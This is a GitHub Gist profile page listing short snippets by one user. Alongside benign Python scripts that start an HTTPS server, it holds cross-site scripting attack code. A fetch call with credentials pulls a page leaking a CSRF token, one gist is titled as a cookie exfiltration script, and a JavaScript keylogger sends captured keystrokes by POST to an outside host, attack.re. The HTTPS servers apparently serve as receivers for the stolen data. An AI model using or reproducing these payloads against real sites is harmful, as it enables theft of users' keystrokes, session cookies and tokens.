Skip to content

Instantly share code, notes, and snippets.

View maggick's full-sized avatar

maggick

View GitHub Profile
# python3
# generate server.pem certificate with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
import http.server, ssl, json
from http.server import BaseHTTPRequestHandler, HTTPServer
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
# python3
# generate server.pem certificate with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
import ssl
from http.server import HTTPServer, BaseHTTPRequestHandler
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
# send 200 response
await fetch('https://subdomain.domain.com/page_leaking_csrf_token',{
method: 'GET',
headers: {
'Content-Length': '2'
},
credentials: 'include'
}).then((response) => {
a=response;
});
@maggick
maggick / https_server.py
Last active May 12, 2022 13:27
run a simple https server on port 443
# python3
# generate server.pem certificate with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
import http.server, ssl
server_address = ('0.0.0.0', 443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
server_side=True,
@maggick
maggick / xss_cookie.js
Last active June 15, 2022 15:35
Simple cookie exfiltration script
@maggick
maggick / xss_keylogger.js
Last active January 14, 2022 14:54
Basic JS keylogger with exfiltration server (HTTPS - POST)
let POST = function(url, params) {
let http = new XMLHttpRequest();
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(params);
};
function logKey(e) {
k += ` ${e.key}`;
POST('https://attack.re', k);